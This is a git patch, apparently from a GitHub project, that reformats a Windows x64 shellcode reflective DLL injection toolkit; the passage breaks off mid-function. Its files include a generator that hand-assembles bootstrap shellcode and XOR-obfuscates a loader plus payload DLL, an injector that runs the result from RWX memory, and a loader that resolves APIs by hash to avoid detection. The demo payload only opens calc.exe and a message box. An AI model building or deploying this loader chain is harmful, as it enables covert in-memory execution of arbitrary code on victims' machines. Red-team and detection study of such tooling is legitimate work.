From ef9b173c6e6be7627ad25951bd627474209a8f27 Mon Sep 17 00:00:00 2001 From: 17ms <79069176+17ms@users.noreply.github.com> Date: Sat, 6 Jan 2024 13:53:18 +0200 Subject: [PATCH] proper linting & google formatting --- generator/generator.cpp | 418 ++++++++++---------- generator/generator.hpp | 5 +- injector/injector.cpp | 51 ++- payload/payload.cpp | 21 +- reflective_loader/loader.cpp | 712 ++++++++++++++++------------------- reflective_loader/loader.hpp | 14 +- shared/crypto.cpp | 110 +++--- shared/crypto.hpp | 6 +- shared/futils.cpp | 22 +- shared/futils.hpp | 3 +- 10 files changed, 643 insertions(+), 719 deletions(-) diff --git a/generator/generator.cpp b/generator/generator.cpp index b7b5769..99160b7 100644 --- a/generator/generator.cpp +++ b/generator/generator.cpp @@ -1,268 +1,262 @@ #include "generator.hpp" + +#include +#include + #include "../shared/crypto.hpp" #include "../shared/futils.hpp" -int main(int argc, char **argv) -{ - uint8_t flag = false; - std::string loaderPath, payloadPath, funcName, funcParameter, outputPath; +int main(int argc, char **argv) { + uint8_t flag = false; + std::string loaderPath, payloadPath, funcName, funcParameter, outputPath; - static struct option longOptions[] = { - {"loader", required_argument, 0, 'l'}, - {"payload", required_argument, 0, 'p'}, - {"function", required_argument, 0, 'n'}, - {"parameter", required_argument, 0, 'a'}, - {"output", required_argument, 0, 'o'}, - {"flag", no_argument, 0, 'f'}, - {"help", no_argument, 0, 'h'}, - {0, 0, 0, 0}}; + static struct option longOptions[] = { + {"loader", required_argument, 0, 'l'}, + {"payload", required_argument, 0, 'p'}, + {"function", required_argument, 0, 'n'}, + {"parameter", required_argument, 0, 'a'}, + {"output", required_argument, 0, 'o'}, + {"flag", no_argument, 0, 'f'}, + {"help", no_argument, 0, 'h'}, + {0, 0, 0, 0}}; - auto optionIndex = 0; - int c; + auto optionIndex = 0; + int c; - while ((c = getopt_long(argc, argv, "l:p:n:a:o:fh", longOptions, &optionIndex))) - { - switch (c) - { - case 'l': - loaderPath = optarg; - break; - case 'p': - payloadPath = optarg; - break; - case 'n': - funcName = optarg; - break; - case 'a': - funcParameter = optarg; - break; - case 'o': - outputPath = optarg; - break; - case 'f': - flag = true; - break; - case 'h': - PrintHelp(argv); - return 0; - default: - PrintHelp(argv); - return 1; - } - } - - if (loaderPath.empty() || payloadPath.empty() || funcName.empty() || funcParameter.empty(), outputPath.empty()) - { - std::cout << "[!] Missing required arguments" << std::endl; + while ((c = getopt_long(argc, argv, "l:p:n:a:o:fh", longOptions, &optionIndex))) { + switch (c) { + case 'l': + loaderPath = optarg; + break; + case 'p': + payloadPath = optarg; + break; + case 'n': + funcName = optarg; + break; + case 'a': + funcParameter = optarg; + break; + case 'o': + outputPath = optarg; + break; + case 'f': + flag = true; + break; + case 'h': + PrintHelp(argv); + return 0; + default: PrintHelp(argv); return 1; } + } - std::cout << "[+] Loader path: " << loaderPath << std::endl; - std::cout << "[+] Payload path: " << payloadPath << std::endl; - std::cout << "[+] Output path: " << outputPath << std::endl; + if (loaderPath.empty() || payloadPath.empty() || funcName.empty() || funcParameter.empty(), outputPath.empty()) { + std::cout << "[!] Missing required arguments" << std::endl; + PrintHelp(argv); + return 1; + } - auto loaderContents = ReadFromFile(loaderPath); - auto payloadContents = ReadFromFile(payloadPath); + std::cout << "[+] Loader path: " << loaderPath << std::endl; + std::cout << "[+] Payload path: " << payloadPath << std::endl; + std::cout << "[+] Output path: " << outputPath << std::endl; - // Compose the complete shellcode from loader, payload, and bootstrap + auto loaderContents = ReadFromFile(loaderPath); + auto payloadContents = ReadFromFile(payloadPath); - std::vector bootstrap; - DWORD funcParameterHash = CalculateHash(funcParameter); + // Compose the complete shellcode from loader, payload, and bootstrap - /* - 1.) Save the current location in memory for calculating offsets later - */ + std::vector bootstrap; + DWORD funcParameterHash = CalculateHash(funcParameter); - // Call the next instruction (push next instruction address to stack) - bootstrap.push_back(0xe8); - bootstrap.push_back(0x00); - bootstrap.push_back(0x00); - bootstrap.push_back(0x00); - bootstrap.push_back(0x00); + /* + 1.) Save the current location in memory for calculating offsets later + */ - // pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory - bootstrap.push_back(0x59); + // Call the next instruction (push next instruction address to stack) + bootstrap.push_back(0xe8); + bootstrap.push_back(0x00); + bootstrap.push_back(0x00); + bootstrap.push_back(0x00); + bootstrap.push_back(0x00); - // mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx - bootstrap.push_back(0x49); - bootstrap.push_back(0x89); - bootstrap.push_back(0xc8); + // pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory + bootstrap.push_back(0x59); - /* - 2.) Align the stack and create shadow space - */ + // mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx + bootstrap.push_back(0x49); + bootstrap.push_back(0x89); + bootstrap.push_back(0xc8); - // push rsi -> Save the original value - bootstrap.push_back(0x56); + /* + 2.) Align the stack and create shadow space + */ - // mov rsi, rsp -> Stores the current stack pointer in rsi for later - bootstrap.push_back(0x48); - bootstrap.push_back(0x89); - bootstrap.push_back(0xe6); + // push rsi -> Save the original value + bootstrap.push_back(0x56); - // and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes - bootstrap.push_back(0x48); - bootstrap.push_back(0x83); - bootstrap.push_back(0xe4); - bootstrap.push_back(0xf0); + // mov rsi, rsp -> Stores the current stack pointer in rsi for later + bootstrap.push_back(0x48); + bootstrap.push_back(0x89); + bootstrap.push_back(0xe6); - // sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9) - bootstrap.push_back(0x48); - bootstrap.push_back(0x83); - bootstrap.push_back(0xec); - bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes) + // and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes + bootstrap.push_back(0x48); + bootstrap.push_back(0x83); + bootstrap.push_back(0xe4); + bootstrap.push_back(0xf0); - /* - 3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments) - */ + // sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9) + bootstrap.push_back(0x48); + bootstrap.push_back(0x83); + bootstrap.push_back(0xec); + bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes) - // mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument - bootstrap.push_back(0x48); - bootstrap.push_back(0x89); - bootstrap.push_back(0x4c); - bootstrap.push_back(0x24); - bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes) + /* + 3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments) + */ - // sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address - bootstrap.push_back(0x48); - bootstrap.push_back(0x83); - bootstrap.push_back(0x6c); - bootstrap.push_back(0x24); - bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes) - bootstrap.push_back(5); // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address) + // mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument + bootstrap.push_back(0x48); + bootstrap.push_back(0x89); + bootstrap.push_back(0x4c); + bootstrap.push_back(0x24); + bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes) - // mov dword ptr [rsp + 0x28], -> (40 bytes) Push in the flags as the 6th argument - bootstrap.push_back(0xc7); - bootstrap.push_back(0x44); - bootstrap.push_back(0x24); - bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes) - bootstrap.push_back(flag); + // sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address + bootstrap.push_back(0x48); + bootstrap.push_back(0x83); + bootstrap.push_back(0x6c); + bootstrap.push_back(0x24); + bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes) + bootstrap.push_back(5); // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address) - /* - 4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9 - */ + // mov dword ptr [rsp + 0x28], -> (40 bytes) Push in the flags as the 6th argument + bootstrap.push_back(0xc7); + bootstrap.push_back(0x44); + bootstrap.push_back(0x24); + bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes) + bootstrap.push_back(flag); - // mov r9, -> Copy the 4th parameter, the size of the function parameter, into r9 - bootstrap.push_back(0x41); - bootstrap.push_back(0xb9); - auto funcParameterSize = static_cast(funcParameter.size()); - bootstrap.push_back(static_cast(funcParameterSize)); + /* + 4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9 + */ - // add r8, + -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size - bootstrap.push_back(0x49); - bootstrap.push_back(0x81); - bootstrap.push_back(0xc0); - auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size(); + // mov r9, -> Copy the 4th parameter, the size of the function parameter, into r9 + bootstrap.push_back(0x41); + bootstrap.push_back(0xb9); + auto funcParameterSize = static_cast(funcParameter.size()); + bootstrap.push_back(static_cast(funcParameterSize)); - for (size_t i = 0; i < sizeof(funcParameterOffset); i++) - { - bootstrap.push_back(static_cast(funcParameterOffset >> (i * 8) & 0xff)); - } + // add r8, + -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size + bootstrap.push_back(0x49); + bootstrap.push_back(0x81); + bootstrap.push_back(0xc0); + auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size(); - // mov edx, -> Copy the 2nd parameter, the hash of the function parameter, into edx - bootstrap.push_back(0xba); + for (size_t i = 0; i < sizeof(funcParameterOffset); i++) { + bootstrap.push_back(static_cast(funcParameterOffset >> (i * 8) & 0xff)); + } - for (size_t i = 0; i < sizeof(funcParameterHash); i++) - { - bootstrap.push_back(static_cast(funcParameterHash >> (i * 8) & 0xff)); - } + // mov edx, -> Copy the 2nd parameter, the hash of the function parameter, into edx + bootstrap.push_back(0xba); - // add rcx, -> Copy the 1st parameter, the address of the payload, into rcx - bootstrap.push_back(0x48); - bootstrap.push_back(0x81); - bootstrap.push_back(0xc1); - auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size(); + for (size_t i = 0; i < sizeof(funcParameterHash); i++) { + bootstrap.push_back(static_cast(funcParameterHash >> (i * 8) & 0xff)); + } - for (size_t i = 0; i < sizeof(payloadOffset); i++) - { - bootstrap.push_back(static_cast(payloadOffset >> (i * 8) & 0xff)); - } + // add rcx, -> Copy the 1st parameter, the address of the payload, into rcx + bootstrap.push_back(0x48); + bootstrap.push_back(0x81); + bootstrap.push_back(0xc1); + auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size(); - /* - 5.) Call the reflective loader - */ + for (size_t i = 0; i < sizeof(payloadOffset); i++) { + bootstrap.push_back(static_cast(payloadOffset >> (i * 8) & 0xff)); + } - // Call -> Call the reflective loader address - bootstrap.push_back(0xe8); - auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size(); + /* + 5.) Call the reflective loader + */ - for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) - { - bootstrap.push_back(static_cast(reflectiveLoaderAddress >> (i * 8) & 0xff)); - } + // Call -> Call the reflective loader address + bootstrap.push_back(0xe8); + auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size(); - // Add padding - bootstrap.push_back(0x90); - bootstrap.push_back(0x90); + for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) { + bootstrap.push_back(static_cast(reflectiveLoaderAddress >> (i * 8) & 0xff)); + } - /* - 6.) Restore the stack and return to the original location (caller) - */ + // Add padding + bootstrap.push_back(0x90); + bootstrap.push_back(0x90); - // mov rsp, rsi -> Restore the original stack pointer - bootstrap.push_back(0x48); - bootstrap.push_back(0x89); - bootstrap.push_back(0xf4); + /* + 6.) Restore the stack and return to the original location (caller) + */ - // pop rsi -> Restore the original value - bootstrap.push_back(0x5e); + // mov rsp, rsi -> Restore the original stack pointer + bootstrap.push_back(0x48); + bootstrap.push_back(0x89); + bootstrap.push_back(0xf4); - // ret -> Return to the original location - bootstrap.push_back(0xc3); + // pop rsi -> Restore the original value + bootstrap.push_back(0x5e); - // Add padding - bootstrap.push_back(0x90); - bootstrap.push_back(0x90); + // ret -> Return to the original location + bootstrap.push_back(0xc3); - if (bootstrap.size() != BOOTSTRAP_LEN) - { - std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl; - return 1; - } + // Add padding + bootstrap.push_back(0x90); + bootstrap.push_back(0x90); - std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl; - std::cout << "[+] Loader size: " << loaderContents.size() << std::endl; - std::cout << "[+] Payload size: " << payloadContents.size() << std::endl; + if (bootstrap.size() != BOOTSTRAP_LEN) { + std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl; + return 1; + } - /* - Form the complete shellcode with the following structure: - - Bootstrap - - RDI shellcode - - Payload DLL bytes - - User data - */ + std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl; + std::cout << "[+] Loader size: " << loaderContents.size() << std::endl; + std::cout << "[+] Payload size: " << payloadContents.size() << std::endl; - bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end()); - bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end()); + /* + Form the complete shellcode with the following structure: + - Bootstrap + - RDI shellcode + - Payload DLL bytes + - User data + */ - // XOR with a random content length key - std::cout << "[+] XOR'ing the shellcode..." << std::endl; - auto key = GenerateKey(bootstrap.size()); - XorCipher(bootstrap, key); + bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end()); + bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end()); - std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl; + // XOR with a random content length key + std::cout << "[+] XOR'ing the shellcode..." << std::endl; + auto key = GenerateKey(bootstrap.size()); + XorCipher(&bootstrap, key); - WriteToFile(outputPath, bootstrap); - std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl; + std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl; - auto keyPath = outputPath + ".key"; - WriteToFile(keyPath, key); - std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl; + WriteToFile(outputPath, bootstrap); + std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl; - return 0; + auto keyPath = outputPath + ".key"; + WriteToFile(keyPath, key); + std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl; + + return 0; } -void PrintHelp(char **argv) -{ - std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl; - std::cout << "\nArguments:" << std::endl; - std::cout << "\t-l, --loader Path to loader file" << std::endl; - std::cout << "\t-p, --payload Path to payload file" << std::endl; - std::cout << "\t-n, --function Function name to call inside payload" << std::endl; - std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl; - std::cout << "\t-o, --output Path to output file" << std::endl; - std::cout << "\nOptions:" << std::endl; - std::cout << "\t-f, --flag Flag to enable debug mode" << std::endl; - std::cout << "\t-h, --help Print this help message" << std::endl; +void PrintHelp(char **argv) { + std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl; + std::cout << "\nArguments:" << std::endl; + std::cout << "\t-l, --loader Path to loader file" << std::endl; + std::cout << "\t-p, --payload Path to payload file" << std::endl; + std::cout << "\t-n, --function Function name to call inside payload" << std::endl; + std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl; + std::cout << "\t-o, --output Path to output file" << std::endl; + std::cout << "\nOptions:" << std::endl; + std::cout << "\t-f, --flag Flag to enable debug mode" << std::endl; + std::cout << "\t-h, --help Print this help message" << std::endl; } diff --git a/generator/generator.hpp b/generator/generator.hpp index b0d0891..f30ef30 100644 --- a/generator/generator.hpp +++ b/generator/generator.hpp @@ -1,9 +1,10 @@ #pragma once -#include #include +#include + #include constexpr auto BOOTSTRAP_LEN = 79; -void PrintHelp(char **argv); \ No newline at end of file +void PrintHelp(char **argv); diff --git a/injector/injector.cpp b/injector/injector.cpp index 4a28d98..befefda 100644 --- a/injector/injector.cpp +++ b/injector/injector.cpp @@ -1,56 +1,55 @@ #include + #include -#include "../shared/futils.hpp" + #include "../shared/crypto.hpp" +#include "../shared/futils.hpp" #define VERBOSE 1 -int main(int argc, char **argv) -{ - if (argc != 3) - { - std::cout << "[?] Usage: " << argv[0] << " " << std::endl; - return 1; - } +int main(int argc, char **argv) { + if (argc != 3) { + std::cout << "[?] Usage: " << argv[0] << " " << std::endl; + return 1; + } #ifdef VERBOSE - std::cout << "[+] Reading shellcode from " << argv[1] << std::endl; + std::cout << "[+] Reading shellcode from " << argv[1] << std::endl; #endif - auto shellcodeContents = ReadFromFile(argv[1]); + auto shellcodeContents = ReadFromFile(argv[1]); #ifdef VERBOSE - std::cout << "[+] Reading XOR key from " << argv[2] << std::endl; + std::cout << "[+] Reading XOR key from " << argv[2] << std::endl; #endif - auto key = ReadFromFile(argv[2]); + auto key = ReadFromFile(argv[2]); #ifdef VERBOSE - std::cout << "[+] XOR'ing shellcode" << std::endl; + std::cout << "[+] XOR'ing shellcode" << std::endl; #endif - XorCipher(shellcodeContents, key); + XorCipher(&shellcodeContents, key); - auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); - if (!baseAddress) - { - std::cout << "[!] Failed to allocate memory" << std::endl; - return 1; - } + if (!baseAddress) { + std::cout << "[!] Failed to allocate memory" << std::endl; + return 1; + } #ifdef VERBOSE - std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl; + std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl; #endif - std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast(baseAddress)); + std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast(baseAddress)); #ifdef VERBOSE - std::cout << "[+] Copied shellcode to " << baseAddress << std::endl; - std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl; + std::cout << "[+] Copied shellcode to " << baseAddress << std::endl; + std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl; #endif - __asm__("jmp *%0" ::"r"(baseAddress)); + __asm__("jmp *%0" ::"r"(baseAddress)); - return 0; + return 0; } diff --git a/payload/payload.cpp b/payload/payload.cpp index e09df39..4e7fb02 100644 --- a/payload/payload.cpp +++ b/payload/payload.cpp @@ -8,20 +8,17 @@ #define DLL_EXPORT __declspec(dllimport) #endif -BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) -{ - if (dwReason == DLL_PROCESS_ATTACH) - { - CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); - } +BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { + if (dwReason == DLL_PROCESS_ATTACH) { + CreateProcessW(L"C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, NULL, NULL); + } - return TRUE; + return TRUE; } -BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) -{ - auto lpText = static_cast(lpUserData); - MessageBoxW(NULL, lpText, L"Hello World!", MB_OK); +BOOL PrintMessage(LPVOID lpUserData, DWORD dwUserDataSize) { + auto lpText = static_cast(lpUserData); + MessageBoxW(NULL, lpText, L"Hello World!", MB_OK); - return TRUE; + return TRUE; } diff --git a/reflective_loader/loader.cpp b/reflective_loader/loader.cpp index 4618a5c..6bfe37e 100644 --- a/reflective_loader/loader.cpp +++ b/reflective_loader/loader.cpp @@ -1,446 +1,392 @@ #include "loader.hpp" + +#include +#include +#include + #include "../shared/crypto.hpp" -void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) -{ - /* - 1.) Locate the required functions and modules from exports with their hashed names - */ +void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserDataLen, DWORD dwFlags) { + /* + 1.) Locate the required functions and modules from exports with their hashed names + */ - auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH); + auto pbKernel32Dll = GetModuleAddressFromHash(KERNEL32_DLL_HASH); - if (pbKernel32Dll == nullptr) - { - return; + if (pbKernel32Dll == nullptr) { + return; + } + + std::random_device rd; + std::mt19937 eng(rd()); + + auto pLoadLibraryW = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, eng)); + auto pGetProcAddress = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, eng)); + auto pVirtualAlloc = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, eng)); + auto pFlushInstructionCache = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, eng)); + auto pVirtualProtect = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, eng)); + auto pSleep = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, eng)); + + if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) { + return; + } + + /* + 2.) Load the target image to a newly allocated permanent memory location with RW permissions + - https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c + */ + + auto pNtHeaders = GetNtHeaders(pImage); + + if (pNtHeaders == nullptr) { + return; + } else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + return; + } else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) { + return; + } else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) { + return; + } + + auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage; + auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase; + + // Try to allocate the image to the preferred base address + auto pNewImageBase = reinterpret_cast(pVirtualAlloc(reinterpret_cast(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + + if (!pNewImageBase) { + // Try to allocate the image to any available base address + pNewImageBase = reinterpret_cast(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + + if (!pNewImageBase) { + return; } + } - std::random_device rd; - std::mt19937 eng(rd()); + CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders); - auto pLoadLibraryW = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, LOAD_LIBRARY_W_HASH, eng)); - auto pGetProcAddress = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, GET_PROC_ADDRESS_HASH, eng)); - auto pVirtualAlloc = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_ALLOC_HASH, eng)); - auto pFlushInstructionCache = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, FLUSH_INSTRUCTION_CACHE_HASH, eng)); - auto pVirtualProtect = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, VIRTUAL_PROTECT_HASH, eng)); - auto pSleep = reinterpret_cast(GetExportAddrFromHash(pbKernel32Dll, SLEEP_HASH, eng)); + /* + 3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address) + */ - if (pLoadLibraryW == nullptr || pGetProcAddress == nullptr || pVirtualAlloc == nullptr || pFlushInstructionCache == nullptr || pVirtualProtect == nullptr || pSleep == nullptr) - { - return; - } + auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase; + auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - /* - 2.) Load the target image to a newly allocated permanent memory location with RW permissions - - https://github.com/fancycode/MemoryModule/blob/master/MemoryModule.c - */ + if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) { + return; + } - auto pNtHeaders = GetNtHeaders(pImage); + /* + 4.) Resolve the imports by patching the Import Address Table (IAT) + */ - if (pNtHeaders == nullptr) - { - return; - } - else if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) - { - return; - } - else if (pNtHeaders->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) - { - return; - } - else if (pNtHeaders->OptionalHeader.SectionAlignment & 1) - { - return; - } + if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng)) { + return; + } - auto dwImageSize = pNtHeaders->OptionalHeader.SizeOfImage; - auto ullPreferredImageBase = pNtHeaders->OptionalHeader.ImageBase; + /* + 5.) Finalize the sections by setting protective permissions after mapping the image + */ - // Try to allocate the image to the preferred base address - auto pNewImageBase = reinterpret_cast(pVirtualAlloc(reinterpret_cast(ullPreferredImageBase), dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache); - if (!pNewImageBase) - { - // Try to allocate the image to any available base address - pNewImageBase = reinterpret_cast(pVirtualAlloc(nullptr, dwImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)); + /* + 6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator + */ - if (!pNewImageBase) - { - return; - } - } - - CopyHeadersAndSections(pNewImageBase, pImage, pNtHeaders); - - /* - 3.) Process the image relocations (assumes the image couldn't be loaded to the preferred base address) - */ - - auto ulpDelta = pNewImageBase - pNtHeaders->OptionalHeader.ImageBase; - auto pDataDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; - - if (!ProcessRelocations(pNewImageBase, pDataDir, ulpDelta)) - { - return; - } - - /* - 4.) Resolve the imports by patching the Import Address Table (IAT) - */ - - if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng)) - { - return; - } - - /* - 5.) Finalize the sections by setting protective permissions after mapping the image - */ - - FinalizeRelocations(pNewImageBase, pNtHeaders, pVirtualProtect, pFlushInstructionCache); - - /* - 6.) Execute DllMain or user defined function depending on the flag passed into the shellcode by the generator - */ - - if (dwFlags == 0) - { - // Execute DllMain with DLL_PROCESS_ATTACH - auto pDllMain = reinterpret_cast(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint); - // Optionally user data could also be passed to the DllMain instead of a separate function - pDllMain(reinterpret_cast(pNewImageBase), DLL_PROCESS_ATTACH, nullptr); - } - else - { - // Execute user defined function - auto pbNewImageBase = reinterpret_cast(pNewImageBase); - auto pUserFunction = reinterpret_cast(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, eng)); - pUserFunction(pvUserData, dwUserDataLen); - } + if (dwFlags == 0) { + // Execute DllMain with DLL_PROCESS_ATTACH + auto pDllMain = reinterpret_cast(pNewImageBase + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + // Optionally user data could also be passed to the DllMain instead of a separate function + pDllMain(reinterpret_cast(pNewImageBase), DLL_PROCESS_ATTACH, nullptr); + } else { + // Execute user defined function + auto pbNewImageBase = reinterpret_cast(pNewImageBase); + auto pUserFunction = reinterpret_cast(GetExportAddrFromHash(pbNewImageBase, dwFunctionHash, eng)); + pUserFunction(pvUserData, dwUserDataLen); + } } -void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) -{ - auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); +void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache) { + auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); - DWORD dwOldProtect, dwNewProtect; - LPVOID lpAddress; + DWORD dwOldProtect, dwNewProtect; + LPVOID lpAddress; - for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) - { - dwNewProtect = 0; + for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) { + dwNewProtect = 0; - // Definitions for readability - DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; - DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; - DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; + // Definitions for readability + DWORD dwIsExecutable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0; + DWORD dwIsReadable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_READ) != 0; + DWORD dwIsWritable = (pSectionHeader->Characteristics & IMAGE_SCN_MEM_WRITE) != 0; - if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) - { - dwNewProtect = PAGE_NOACCESS; - } - - if 